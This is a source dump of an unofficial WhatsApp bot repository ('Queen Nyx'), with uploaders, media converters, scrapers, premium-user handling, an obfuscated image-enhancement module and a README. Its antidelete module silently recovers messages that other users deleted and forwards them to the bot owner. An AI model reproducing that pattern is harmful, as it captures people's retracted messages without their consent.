"An error occurred."; 46 | } 47 | } 48 | 49 | // Function to upload files to File.io 50 | async function fileIO(filePath) { 51 | try { 52 | // Read the file to upload 53 | const fileStream = fs.createReadStream(filePath); 54 | 55 | // Prepare form data for upload 56 | const formData = new BodyForm(); 57 | formData.append('file', fileStream); 58 | 59 | // Send POST request to file.io API with form data and headers 60 | const response = await axios.post('https://file.io/?expires=1d', formData, { 61 | headers: formData.getHeaders(), 62 | }); 63 | 64 | // Handle API response and return the file URL 65 | if (response.data && response.data.success) { 66 | return response.data.link; // Retrieve the file link from the response 67 | } else { 68 | throw new Error('File upload failed.'); 69 | } 70 | } catch (error) { 71 | console.error('Error at File.io uploader:', error); 72 | return 'An error occurred while uploading to File.io.'; 73 | } 74 | } 75 | 76 | module.exports = { CatBox, pomfCDN, fileIO }; -------------------------------------------------------------------------------- /lib/converter.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //re-upload? recode? copy code? give credit ya :) 3 | //YouTube: @DGXeon 4 | //Instagram: unicorn_xeon13 5 | //Telegram: t.me/xeonbotinc 6 | //GitHub: @DGXeon 7 | //WhatsApp: +916909137213 8 | //want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon 9 | 10 | const fs = require('fs') 11 | const path = require('path') 12 | const { spawn } = require('child_process') 13 | 14 | function ffmpeg(buffer, args = [], ext = '', ext2 = '') { 15 | return new Promise(async (resolve, reject) => { 16 | try { 17 | let tmp = path.join(__dirname, '../src', + new Date + '.' + ext) 18 | let out = tmp + '.' + ext2 19 | await fs.promises.writeFile(tmp, buffer) 20 | spawn('ffmpeg', [ 21 | '-y', 22 | '-i', tmp, 23 | ...args, 24 | out 25 | ]) 26 | .on('error', reject) 27 | .on('close', async (code) => { 28 | try { 29 | await fs.promises.unlink(tmp) 30 | if (code !== 0) return reject(code) 31 | resolve(await fs.promises.readFile(out)) 32 | await fs.promises.unlink(out) 33 | } catch (e) { 34 | reject(e) 35 | } 36 | }) 37 | } catch (e) { 38 | reject(e) 39 | } 40 | }) 41 | } 42 | 43 | /** 44 | * Convert Audio to Playable WhatsApp Audio 45 | * @param {Buffer} buffer Audio Buffer 46 | * @param {String} ext File Extension 47 | */ 48 | function toAudio(buffer, ext) { 49 | return ffmpeg(buffer, [ 50 | '-vn', 51 | '-ac', '2', 52 | '-b:a', '128k', 53 | '-ar', '44100', 54 | '-f', 'mp3' 55 | ], ext, 'mp3') 56 | } 57 | 58 | /** 59 | * Convert Audio to Playable WhatsApp PTT 60 | * @param {Buffer} buffer Audio Buffer 61 | * @param {String} ext File Extension 62 | */ 63 | function toPTT(buffer, ext) { 64 | return ffmpeg(buffer, [ 65 | '-vn', 66 | '-c:a', 'libopus', 67 | '-b:a', '128k', 68 | '-vbr', 'on', 69 | '-compression_level', '10' 70 | ], ext, 'opus') 71 | } 72 | 73 | /** 74 | * Convert Audio to Playable WhatsApp Video 75 | * @param {Buffer} buffer Video Buffer 76 | * @param {String} ext File Extension 77 | */ 78 | function toVideo(buffer, ext) { 79 | return ffmpeg(buffer, [ 80 | '-c:v', 'libx264', 81 | '-c:a', 'aac', 82 | '-ab', '128k', 83 | '-ar', '44100', 84 | '-crf', '32', 85 | '-preset', 'slow' 86 | ], ext, 'mp4') 87 | } 88 | 89 | module.exports = { 90 | toAudio, 91 | toPTT, 92 | toVideo, 93 | ffmpeg, 94 | } 95 | -------------------------------------------------------------------------------- /lib/photooxy.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const FormData = require('form-data'); 3 | const { queryString } = require('object-query-string'); 4 | 5 | const photoOxy = async (url, text) => { 6 | try { 7 | const { data, headers } = await axios.get(url, { 8 | headers: { 9 | 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Redmi 7A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.99 Mobile Safari/537.36' 10 | } 11 | }); 12 | 13 | const token = data.match(//)?.[1]; 14 | const build_server = data.match(//)?.[1]; 15 | const build_server_id = data.match(//)?.[1]; 16 | const cookie = headers['set-cookie']?.[0]; 17 | 18 | if (!token || !build_server || !build_server_id) { 19 | throw new Error("Failed to extract required parameters from PhotoOxy."); 20 | } 21 | 22 | const form = new FormData(); 23 | if (typeof text === 'string') text = [text]; 24 | text.forEach(t => form.append('text[]', t)); 25 | 26 | form.append('sumbit', 'GO'); 27 | form.append('token', token); 28 | form.append('build_server', build_server); 29 | form.append('build_server_id', build_server_id); 30 | 31 | const postResponse = await axios.post(url, form, { 32 | headers: { 33 | 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Redmi 7A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.99 Mobile Safari/537.36', 34 | 'Cookie': cookie, 35 | ...form.getHeaders() 36 | } 37 | }); 38 | 39 | const form_value = postResponse.data.match(/(.*?)<\/div>/)?.[1]; 40 | if (!form_value) { 41 | throw new Error("Failed to extract form value."); 42 | } 43 | 44 | const imageResponse = await axios.get( 45 | `https://photooxy.com/effect/create-image?${queryString(JSON.parse(form_value))}`, 46 | { headers: { 'User-Agent': 'Mozilla/5.0', 'Cookie': cookie } } 47 | ); 48 | 49 | return build_server + imageResponse.data.image; 50 | } catch (error) { 51 | console.error("PhotoOxy Error:", error.message); 52 | throw new Error("Failed to generate PhotoOxy image."); 53 | } 54 | }; 55 | 56 | module.exports.photoOxy = photoOxy; -------------------------------------------------------------------------------- /lib/premiun.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //re-upload? recode? copy code? give credit ya :) 3 | //YouTube: @DGXeon 4 | //Instagram: unicorn_xeon13 5 | //Telegram: t.me/PrexzyVilla 6 | //GitHub: @DGXeon 7 | //WhatsApp: +916909137213 8 | //want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon 9 | 10 | const fs = require("fs"); 11 | const toMs = require("ms"); 12 | 13 | const premium = JSON.parse(fs.readFileSync('./src/data/role/premium.json')) 14 | 15 | const addPremiumUser = (userId, expired, _dir) => { 16 | const cekUser = premium.find((user) => user.id == userId); 17 | if (cekUser) { 18 | cekUser.expired = cekUser.expired + toMs(expired); 19 | } else { 20 | const obj = { id: userId, expired: Date.now() + toMs(expired) }; 21 | _dir.push(obj); 22 | } 23 | fs.writeFileSync("./src/data/role/premium.json", JSON.stringify(_dir)); 24 | }; 25 | 26 | const getPremiumPosition = (userId, _dir) => { 27 | let position = null; 28 | Object.keys(_dir).forEach((i) => { 29 | if (_dir[i].id === userId) { 30 | position = i; 31 | } 32 | }); 33 | if (position !== null) { 34 | return position; 35 | } 36 | }; 37 | 38 | const getPremiumExpired = (userId, _dir) => { 39 | let position = null; 40 | Object.keys(_dir).forEach((i) => { 41 | if (_dir[i].id === userId) { 42 | position = i; 43 | } 44 | }); 45 | if (position !== null) { 46 | return _dir[position].expired; 47 | } 48 | }; 49 | 50 | const checkPremiumUser = (userId, _dir) => { 51 | let status = false; 52 | Object.keys(_dir).forEach((i) => { 53 | if (_dir[i].id === userId) { 54 | status = true; 55 | } 56 | }); 57 | return status; 58 | }; 59 | 60 | const expiredPremiumCheck = (PrexzyVilla, msg, _dir) => { 61 | setInterval(() => { 62 | let position = null; 63 | Object.keys(_dir).forEach((i) => { 64 | if (Date.now() >= _dir[i].expired) { 65 | position = i; 66 | } 67 | }); 68 | if (position !== null) { 69 | idny = _dir[position].id; 70 | console.log(`Premium expired: ${_dir[position].id}`); 71 | _dir.splice(position, 1); 72 | fs.writeFileSync("./src/data/role/premium.json", JSON.stringify(_dir)); 73 | idny ? PrexzyVilla.sendMessage(idny, { text: "Your premium has run out, please buy again." }) : ""; 74 | idny = false; 75 | } 76 | }, 1000); 77 | }; 78 | 79 | const getAllPremiumUser = (_dir) => { 80 | const array = []; 81 | Object.keys(_dir).forEach((i) => { 82 | array.push(_dir[i].id); 83 | }); 84 | return array; 85 | }; 86 | 87 | module.exports = { 88 | addPremiumUser, 89 | getPremiumExpired, 90 | getPremiumPosition, 91 | expiredPremiumCheck, 92 | checkPremiumUser, 93 | getAllPremiumUser, 94 | }; -------------------------------------------------------------------------------- /src/media/randompics/blackpink.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.pinimg.com/originals/3b/3d/e4/3b3de4b2a106b93461014459416aa72e.jpg"}, 3 | {"url":"https://i.pinimg.com/originals/2e/31/85/2e31859f47447f414001d5615d1f8a2a.jpg"}, 4 | {"url":"https://i.pinimg.com/originals/2c/f8/68/2cf868ec24d1518d62b6067f298e2634.jpg"}, 5 | {"url":"https://i.pinimg.com/originals/c5/f2/12/c5f212a583227bd254076e1ba8558c3a.jpg"}, 6 | {"url":"https://i.pinimg.com/originals/c1/ea/2c/c1ea2c8ff7ee1b9716955b8f8d78b1d4.jpg"}, 7 | {"url":"https://i.pinimg.com/originals/db/04/47/db04470cc3585e89cb8ac500453f36de.jpg"}, 8 | {"url":"https://i.pinimg.com/originals/2c/c6/14/2cc614349249e027c6788563346e8386.jpg"}, 9 | {"url":"https://i.pinimg.com/originals/d4/b8/fb/d4b8fbc27fed8d40e7d04edcbfe74d0e.jpg"}, 10 | {"url":"https://i.pinimg.com/originals/6e/25/e0/6e25e042b91f38e16ce2f07b9dd2a682.jpg"}, 11 | {"url":"https://i.pinimg.com/originals/43/71/6b/43716bcd5611a7d77f94f93d849ac7b6.jpg"}, 12 | {"url":"https://i.pinimg.com/originals/c4/98/c0/c498c0be6941d37f716ab366118bab5f.jpg"}, 13 | {"url":"https://i.pinimg.com/originals/5b/09/91/5b0991c9a0d0f5e1c7bb47a16f109153.jpg"}, 14 | {"url":"https://i.pinimg.com/originals/c2/67/d4/c267d4d6ab8da59ad5ba09aaea91f7dd.jpg"}, 15 | {"url":"https://i.pinimg.com/originals/0e/d0/48/0ed0481e4adc15a7ed2918715e469b93.jpg"}, 16 | {"url":"https://i.pinimg.com/originals/74/fd/cd/74fdcdccc63d629431d70b6fa270b8e3.jpg"}, 17 | {"url":"https://i.pinimg.com/originals/bc/a2/1c/bca21cc775a19e3740766d6e3d0f4b91.jpg"}, 18 | {"url":"https://i.pinimg.com/originals/8b/a5/6f/8ba56ff983e6411e04a7fc3c34cbb844.jpg"}, 19 | {"url":"https://i.pinimg.com/originals/06/21/bd/0621bd7a813b70ea82c289a4b8373cef.png"}, 20 | {"url":"https://i.pinimg.com/originals/aa/d2/b4/aad2b4ada036b8f1113764bfa50173f0.jpg"}, 21 | {"url":"https://i.pinimg.com/originals/1f/ad/bc/1fadbc08af83ca5be503d31cff22189f.jpg"}, 22 | {"url":"https://i.pinimg.com/originals/51/60/21/516021decd8a9be4261b0242b0488ee2.jpg"}, 23 | {"url":"https://i.pinimg.com/originals/19/18/d4/1918d44c65f876d0c9b70c7c7da0b899.jpg"}, 24 | {"url":"https://i.pinimg.com/originals/3a/a5/2d/3aa52d9ce041a5b7fe9640df6e5ddcda.png"}, 25 | {"url":"https://i.pinimg.com/originals/3a/92/a3/3a92a3121f34286b627453f7e2b62544.jpg"}, 26 | {"url":"https://i.pinimg.com/originals/a4/fd/58/a4fd5845de33b6b54c19a4bd3ad28a00.jpg"}, 27 | {"url":"https://i.pinimg.com/originals/82/61/4b/82614b4b57fde3e219b8bd9a0ef4f9c4.jpg"}, 28 | {"url":"https://i.pinimg.com/originals/a8/68/14/a86814c0173ae445ec51a034aeccd133.jpg"}, 29 | {"url":"https://i.pinimg.com/originals/d5/4d/98/d54d981b3022a37011518b3e11e1da13.jpg"}, 30 | {"url":"https://i.pinimg.com/originals/d2/c4/f1/d2c4f1fba5161a2df3399a93f44189cd.jpg"} 31 | ] 32 | -------------------------------------------------------------------------------- /lib/remini.js: -------------------------------------------------------------------------------- 1 | const _0x266dca=_0x394d;(function(_0x35644c,_0x2bf644){const _0x7b2243=_0x394d,_0xad5d31=_0x35644c();while(!![]){try{const _0x3889fd=-parseInt(_0x7b2243(0xbe))/0x1*(-parseInt(_0x7b2243(0xcb))/0x2)+parseInt(_0x7b2243(0xb1))/0x3+-parseInt(_0x7b2243(0xb5))/0x4*(-parseInt(_0x7b2243(0xc9))/0x5)+parseInt(_0x7b2243(0xcc))/0x6+parseInt(_0x7b2243(0xc5))/0x7*(parseInt(_0x7b2243(0xbc))/0x8)+-parseInt(_0x7b2243(0xd1))/0x9*(-parseInt(_0x7b2243(0xba))/0xa)+parseInt(_0x7b2243(0xcf))/0xb*(-parseInt(_0x7b2243(0xb4))/0xc);if(_0x3889fd===_0x2bf644)break;else _0xad5d31['push'](_0xad5d31['shift']());}catch(_0x35fcd2){_0xad5d31['push'](_0xad5d31['shift']());}}}(_0x1c77,0x457b7));function _0x1c77(){const _0x589c7f=['submit','error','22TuGnJG','gzip','1116QxodIW','push','.ai','dehaze','https','806484XUnwrW','jimp','binary','7115460KRQhmI','1101112SegLTh','end','from','enhance_image_body.jpg','Keep-Alive','10200auxItC','inferenceengine','1495776lQsBgM','://','26pNiPkU','multipart/form-data;\x20charset=uttf-8','.ai/','recolor','.vyro','remini','https:','14fIpVXT','model_version','concat','image/jpeg','5PRstjc','form-data','18210QijQUV','1135494PIrFmO'];_0x1c77=function(){return _0x589c7f;};return _0x1c77();}const FormData=require(_0x266dca(0xca)),Jimp=require(_0x266dca(0xb2));function _0x394d(_0x5c9705,_0x277c02){const _0x1c7751=_0x1c77();return _0x394d=function(_0x394dc4,_0x5bcb04){_0x394dc4=_0x394dc4-0xad;let _0x28be0f=_0x1c7751[_0x394dc4];return _0x28be0f;},_0x394d(_0x5c9705,_0x277c02);}async function remini(_0x33b965,_0x34eff3){return new Promise(async(_0x14db15,_0x267c15)=>{const _0x5e0112=_0x394d;let _0x45d85b=['enhance',_0x5e0112(0xc1),_0x5e0112(0xaf)];_0x45d85b['includes'](_0x34eff3)?_0x34eff3=_0x34eff3:_0x34eff3=_0x45d85b[0x0];let _0x236d30,_0x370778=new FormData(),_0x5c019f=_0x5e0112(0xb0)+_0x5e0112(0xbd)+_0x5e0112(0xbb)+'.vyro'+_0x5e0112(0xc0)+_0x34eff3;_0x370778['append'](_0x5e0112(0xc6),0x1,{'Content-Transfer-Encoding':_0x5e0112(0xb3),'contentType':_0x5e0112(0xbf)}),_0x370778['append']('image',Buffer[_0x5e0112(0xb7)](_0x33b965),{'filename':_0x5e0112(0xb8),'contentType':_0x5e0112(0xc8)}),_0x370778[_0x5e0112(0xcd)]({'url':_0x5c019f,'host':'inferenceengine'+_0x5e0112(0xc2)+_0x5e0112(0xae),'path':'/'+_0x34eff3,'protocol':_0x5e0112(0xc4),'headers':{'User-Agent':'okhttp/4.9.3','Connection':_0x5e0112(0xb9),'Accept-Encoding':_0x5e0112(0xd0)}},function(_0x319120,_0x175e8d){const _0xe7b13c=_0x5e0112;if(_0x319120)_0x267c15();let _0x15e24d=[];_0x175e8d['on']('data',function(_0x2918a5,_0x2d4e53){const _0x1e12ae=_0x394d;_0x15e24d[_0x1e12ae(0xad)](_0x2918a5);})['on'](_0xe7b13c(0xb6),()=>{const _0x3eb77e=_0xe7b13c;_0x14db15(Buffer[_0x3eb77e(0xc7)](_0x15e24d));}),_0x175e8d['on'](_0xe7b13c(0xce),_0x90e19c=>{_0x267c15();});});});}module['exports'][_0x266dca(0xc3)]=remini; 2 | -------------------------------------------------------------------------------- /src/media/tiktokpics/hijab.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/2Sc8Yv0Q/p-1932029i39.jpg"}, 3 | {"url":"https://i.postimg.cc/VNvv04JZ/p-19320rf5h7.jpg"}, 4 | {"url":"https://i.postimg.cc/wxmtkW0S/p-193222brl5.jpg"}, 5 | {"url":"https://i.postimg.cc/pTQwWMPw/p-193222o602.jpg"}, 6 | {"url":"https://i.postimg.cc/XqFsgwz9/p-19322f6ue0.jpg"}, 7 | {"url":"https://i.postimg.cc/2yV1pGDB/p-19323jnd21.jpg"}, 8 | {"url":"https://i.postimg.cc/xCH0LZn5/p-19324tqmd1.jpg"}, 9 | {"url":"https://i.postimg.cc/NjYd1Cv4/p-19325oity2.jpg"}, 10 | {"url":"https://i.postimg.cc/Pr54Jntm/p-19326ptiu4.jpg"}, 11 | {"url":"https://i.postimg.cc/wMpmSPV4/p-19326t9w97.jpg"}, 12 | {"url":"https://i.postimg.cc/FzQB8WcT/p-193277ss81.jpg"}, 13 | {"url":"https://i.postimg.cc/HLB40SWq/p-19327mzvc0.jpg"}, 14 | {"url":"https://i.postimg.cc/prnfHRQv/p-19328r6pt1.jpg"}, 15 | {"url":"https://i.postimg.cc/Znt8J0Tc/p-19328xoqp3.jpg"}, 16 | {"url":"https://i.postimg.cc/LXrThNVj/p-193295mpj0.jpg"}, 17 | {"url":"https://i.postimg.cc/xdXj1CZW/p-1932auifw0.jpg"}, 18 | {"url":"https://i.postimg.cc/rsFSD5L8/p-1932dq3rr5.jpg"}, 19 | {"url":"https://i.postimg.cc/Gm7vHXL9/p-1932dy6cf5.jpg"}, 20 | {"url":"https://i.postimg.cc/dtJC6bDL/p-1932e9d8a8.jpg"}, 21 | {"url":"https://i.postimg.cc/bNPv9qGt/p-1932eytwf8.jpg"}, 22 | {"url":"https://i.postimg.cc/yxZSgjbC/p-1932f2e4e6.jpg"}, 23 | {"url":"https://i.postimg.cc/x8McTCX0/p-1932fh9044.jpg"}, 24 | {"url":"https://i.postimg.cc/g2PTgk83/p-1932gec9f7.jpg"}, 25 | {"url":"https://i.postimg.cc/TYxVSyN2/p-1932il8al4.jpg"}, 26 | {"url":"https://i.postimg.cc/G2zDn9T6/p-1932k1rvv9.jpg"}, 27 | {"url":"https://i.postimg.cc/0jwVCLNt/p-1932kbxy99.jpg"}, 28 | {"url":"https://i.postimg.cc/0yq7mgvW/p-1932kz1r04.jpg"}, 29 | {"url":"https://i.postimg.cc/1z2Tc5zh/p-1932m46290.jpg"}, 30 | {"url":"https://i.postimg.cc/CKGDJchh/p-1932mzcx98.jpg"}, 31 | {"url":"https://i.postimg.cc/3RDjM2HN/p-1932n22t12.jpg"}, 32 | {"url":"https://i.postimg.cc/nLbBvytS/p-1932nfvpz7.jpg"}, 33 | {"url":"https://i.postimg.cc/25gvx3BD/p-1932nix266.jpg"}, 34 | {"url":"https://i.postimg.cc/Zn9c5rS1/p-1932o7e2f0.jpg"}, 35 | {"url":"https://i.postimg.cc/zXCdbFWr/p-1932p9bcq1.jpg"}, 36 | {"url":"https://i.postimg.cc/d3xTDXBB/p-1932rf9ic0.jpg"}, 37 | {"url":"https://i.postimg.cc/Hs0VqrGz/p-1932roxp66.jpg"}, 38 | {"url":"https://i.postimg.cc/C1dPRZpp/p-1932sui9g8.jpg"}, 39 | {"url":"https://i.postimg.cc/J4ZF3WfS/p-1932sxt5c2.jpg"}, 40 | {"url":"https://i.postimg.cc/Ssj9qkLs/p-1932w3r815.jpg"}, 41 | {"url":"https://i.postimg.cc/7ZTSJxjT/p-1932wa40b6.jpg"}, 42 | {"url":"https://i.postimg.cc/y8PvnhVz/p-1932wyo5x0.jpg"}, 43 | {"url":"https://i.postimg.cc/52nS8x34/p-1932x3b4p1.jpg"}, 44 | {"url":"https://i.postimg.cc/t4G59ZmM/p-1932x82vu1.jpg"}, 45 | {"url":"https://i.postimg.cc/9MvDhTF8/p-1932ydeeq3.jpg"}, 46 | {"url":"https://i.postimg.cc/C5F4bWbp/p-1932z4e293.jpg"} 47 | ] 48 | -------------------------------------------------------------------------------- /lib/antidelete.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | 3 | const settingsPath = './data/antidelete.json'; 4 | 5 | // Load & save settings 6 | const loadSettings = () => { 7 | if (!fs.existsSync(settingsPath)) fs.writeFileSync(settingsPath, JSON.stringify({ enabled: true })); 8 | return JSON.parse(fs.readFileSync(settingsPath)); 9 | }; 10 | const saveSettings = (settings) => fs.writeFileSync(settingsPath, JSON.stringify(settings, null, 2)); 11 | 12 | // Toggle antidelete 13 | const toggleAntidelete = async (m, PrexzyVilla) => { 14 | let settings = loadSettings(); 15 | let command = m.text.split(" ")[1]?.toLowerCase(); 16 | 17 | if (command === "on") { 18 | settings.enabled = true; 19 | saveSettings(settings); 20 | return PrexzyVilla.sendMessage(m.chat, { text: "✅ *Antidelete is now ENABLED.*\nDeleted messages will be recovered and sent to the deployer's DM." }, { quoted: m }); 21 | } else if (command === "off") { 22 | settings.enabled = false; 23 | saveSettings(settings); 24 | return PrexzyVilla.sendMessage(m.chat, { text: "❌ *Antidelete is now DISABLED.*" }, { quoted: m }); 25 | } else { 26 | return PrexzyVilla.sendMessage(m.chat, { text: "⚙️ *Usage:*\n.antidelete on → Enable\n.antidelete off → Disable" }, { quoted: m }); 27 | } 28 | }; 29 | 30 | // Listen for deleted messages 31 | const watchDeletedMessages = (PrexzyVilla) => { 32 | PrexzyVilla.ev.on('messages.update', async (event) => { 33 | let settings = loadSettings(); 34 | if (!settings.enabled) return; // If disabled, do nothing 35 | 36 | for (let { key, update } of event) { 37 | if (update.messageStubType === 1) { // 1 = deleted message 38 | let deletedMessage = await PrexzyVilla.loadMessage(key.remoteJid, key.id).catch(() => null); 39 | if (!deletedMessage) return; 40 | 41 | let sender = key.participant || key.remoteJid; 42 | let isGroup = key.remoteJid.endsWith('@g.us'); 43 | let chatName = isGroup ? "Group Chat" : "Private Chat"; 44 | let content = deletedMessage.message?.conversation || "[Media File]"; 45 | let messageType = Object.keys(deletedMessage.message || {})[0]; 46 | 47 | let recoveryMessage = `🚨 *Deleted Message Recovered!*\n\n👤 *Sender:* @${sender.split('@')[0]}\n📍 *From:* ${chatName}\n📩 *Message Type:* ${messageType}\n🗑️ *Recovered Message:*\n${content}`; 48 | 49 | let ownerJid = global.ownernumber[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net'; 50 | await PrexzyVilla.sendMessage(ownerJid, { text: recoveryMessage, mentions: [sender] }); 51 | } 52 | } 53 | }); 54 | }; 55 | 56 | // Export functions 57 | module.exports = { 58 | toggleAntidelete, 59 | watchDeletedMessages 60 | }; -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen-Nyx-V1", 3 | "version": "1.0.0", 4 | "description": "Whatsapp Bot By Precious Ayomide", 5 | "main": "index.js", 6 | "type": "commonjs", 7 | "directories": { 8 | "lib": "lib", 9 | "src": "src", 10 | "media": "PrexzyMedia" 11 | }, 12 | "scripts": { 13 | "code": "node main.js", 14 | "start": "node index.js" 15 | }, 16 | "author": "Precious Ayomide", 17 | "license": "MIT", 18 | "dependencies": { 19 | "@adiwajshing/baileys": "^5.0.0", 20 | "@adiwajshing/keyed-db": "^0.2.4", 21 | "@hapi/boom": "^10.0.1", 22 | "@whiskeysockets/baileys": "^6.7.16", 23 | "@vitalets/google-translate-api": "^9.2.0", 24 | "@distube/ytdl-core": "^4.16.4", 25 | "@consumet/extensions": "^1.8.1", 26 | "anime-wallpaper": "^1.0.2", 27 | "api-dylux": "^1.4.4", 28 | "aptoide-scraper": "^1.0.1", 29 | "awesome-phonenumber": "^5.9.0", 30 | "axios": "^1.4.0", 31 | "cfonts": "^3.2.0", 32 | "chalk": "^4.1.2", 33 | "cheerio": "^1.0.0", 34 | "cloudscraper": "^4.6.0", 35 | "cookie": "^0.5.0", 36 | "crypto": "^1.0.1", 37 | "express": "^4.19.2", 38 | "file-type": "^16.5.3", 39 | "fluent-ffmpeg": "^2.1.2", 40 | "form-data": "^4.0.2", 41 | "fs-extra": "^11.1.1", 42 | "g-i-s": "^2.1.7", 43 | "groq-sdk": "^0.15.0", 44 | "google-it": "^1.6.4", 45 | "google-tts-api": "^2.0.2", 46 | "gradient-string": "^2.0.2", 47 | "human-readable": "^0.2.1", 48 | "javascript-obfuscator": "^4.1.1", 49 | "jimp": "^0.16.13", 50 | "jsdom": "^22.1.0", 51 | "lodash": "^4.17.21", 52 | "mal-scraper": "^2.11.4", 53 | "mathjs": "^11.3.0", 54 | "moment-timezone": "^0.5.47", 55 | "mongoose": "^8.3.2", 56 | "node-cron": "^3.0.0", 57 | "node-fetch": "^2.7.0", 58 | "speedtest-net": "^2.2.0", 59 | "node-id3": "^0.2.3", 60 | "node-os-utils": "^1.3.7", 61 | "node-webpmux": "^3.1.7", 62 | "node-youtube-music": "^0.10.3", 63 | "object-query-string": "^1.2.0", 64 | "performance-now": "^2.1.0", 65 | "pino": "^8.14.1", 66 | "prompt-sync": "^4.2.0", 67 | "qrcode": "^1.5.3", 68 | "qrcode-reader": "^1.0.4", 69 | "qrcode-terminal": "^0.12.0", 70 | "randomstring": "^1.3.0", 71 | "readline": "^1.3.0", 72 | "ruhend-scraper": "^9.0.0", 73 | "request": "^2.88.2", 74 | "rimraf": "^5.0.5", 75 | "set-cookie": "^0.0.4", 76 | "steno": "^1.0.0", 77 | "translate-google-api": "^1.0.4", 78 | "youtube-yts": "^2.0.0", 79 | "youtubedl-core": "^4.11.7", 80 | "yt-search": "^2.12.1", 81 | "ytdl-core": "^4.11.5" 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /lib/tictactoe.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //re-upload? recode? copy code? give credit ya :) 3 | //YouTube: @DGXeon 4 | //Instagram: unicorn_xeon13 5 | //Telegram: t.me/xeonbotinc 6 | //GitHub: @DGXeon 7 | //WhatsApp: +916909137213 8 | //want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon 9 | 10 | class TicTacToe { 11 | constructor(playerX = 'x', playerO = 'o') { 12 | this.playerX = playerX 13 | this.playerO = playerO 14 | this._currentTurn = false 15 | this._x = 0 16 | this._o = 0 17 | this.turns = 0 18 | } 19 | 20 | get board() { 21 | return this._x | this._o 22 | } 23 | 24 | get currentTurn() { 25 | return this._currentTurn ? this.playerO : this.playerX 26 | } 27 | 28 | get enemyTurn() { 29 | return this._currentTurn ? this.playerX : this.playerO 30 | } 31 | 32 | static check(state) { 33 | for (let combo of [7, 56, 73, 84, 146, 273, 292, 448]) 34 | if ((state & combo) === combo) 35 | return !0 36 | return !1 37 | } 38 | 39 | /** 40 | * ```js 41 | * TicTacToe.toBinary(1, 2) // 0b010000000 42 | * ``` 43 | */ 44 | static toBinary(x = 0, y = 0) { 45 | if (x < 0 || x > 2 || y < 0 || y > 2) throw new Error('invalid position') 46 | return 1 << x + (3 * y) 47 | } 48 | 49 | /** 50 | * @param player `0` is `X`, `1` is `O` 51 | * 52 | * - `-3` `Game Ended` 53 | * - `-2` `Invalid` 54 | * - `-1` `Invalid Position` 55 | * - ` 0` `Position Occupied` 56 | * - ` 1` `Sucess` 57 | * @returns {-3|-2|-1|0|1} 58 | */ 59 | turn(player = 0, x = 0, y) { 60 | if (this.board === 511) return -3 61 | let pos = 0 62 | if (y == null) { 63 | if (x < 0 || x > 8) return -1 64 | pos = 1 << x 65 | } else { 66 | if (x < 0 || x > 2 || y < 0 || y > 2) return -1 67 | pos = TicTacToe.toBinary(x, y) 68 | } 69 | if (this._currentTurn ^ player) return -2 70 | if (this.board & pos) return 0 71 | this[this._currentTurn ? '_o' : '_x'] |= pos 72 | this._currentTurn = !this._currentTurn 73 | this.turns++ 74 | return 1 75 | } 76 | 77 | /** 78 | * @returns {('X'|'O'|1|2|3|4|5|6|7|8|9)[]} 79 | */ 80 | static render(boardX = 0, boardO = 0) { 81 | let x = parseInt(boardX.toString(2), 4) 82 | let y = parseInt(boardO.toString(2), 4) * 2 83 | return [...(x + y).toString(4).padStart(9, '0')].reverse().map((value, index) => value == 1 ? 'X' : value == 2 ? 'O' : ++index) 84 | } 85 | 86 | /** 87 | * @returns {('X'|'O'|1|2|3|4|5|6|7|8|9)[]} 88 | */ 89 | render() { 90 | return TicTacToe.render(this._x, this._o) 91 | } 92 | 93 | get winner() { 94 | let x = TicTacToe.check(this._x) 95 | let o = TicTacToe.check(this._o) 96 | return x ? this.playerX : o ? this.playerO : false 97 | } 98 | } 99 | 100 | new TicTacToe().turn 101 | 102 | module.exports = TicTacToe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

QUEEN NYX BOT

2 |

3 | 4 | *** 5 | 6 | Typing SVG 7 |

8 | 9 |

10 | 11 | wasi 12 |

QUEEN-NYX-BOT

13 | 14 |

15 |

16 | 17 | 18 | 19 | 20 | 21 | **Queen Nyx - The Ultimate AI-Powered WhatsApp Bot 👑✨** 22 | 23 | Meet Queen Nyx, your all-in-one WhatsApp assistant, designed to bring intelligence, automation, and fun to your chats! 🚀 Whether you need quick replies, advanced moderation, or entertaining features, Queen Nyx has you covered. With a sleek design, powerful commands, and AI-driven responses, this bot is your perfect digital companion. 24 | 25 | ⚡ Features: 26 | ✅ Smart Auto-Responses 27 | ✅ Group Management & Moderation 28 | ✅ Fun Commands & AI Chatbot 29 | ✅ Customizable Features 30 | ✅ Fast & Reliable Performance 31 | 32 | Rule your WhatsApp world with Queen Nyx—because every chat deserves a royal touch! 👑🤖 33 | ©PREXZYVILLA 34 | 35 | ### 1. STAR THIS REPO 36 | [![Star on GitHub](https://img.shields.io/badge/⭐%20Star%20on%20GitHub-blue?style=for-the-badge)](https://github.com/Prexzybooster/QUEEN-NYX-BOT) 37 | 38 | ### 2. FORK THIS REPO 39 | 40 | Fork repo 41 | 42 | 43 | 44 | **2.DEPLOYMENT PROCESS** 45 | ### DEPLOY ON PANEL 46 | IF YOU DON'T HAVE A PANEL ACCOUNT CLICK BELOW TO BUY ONE 47 |
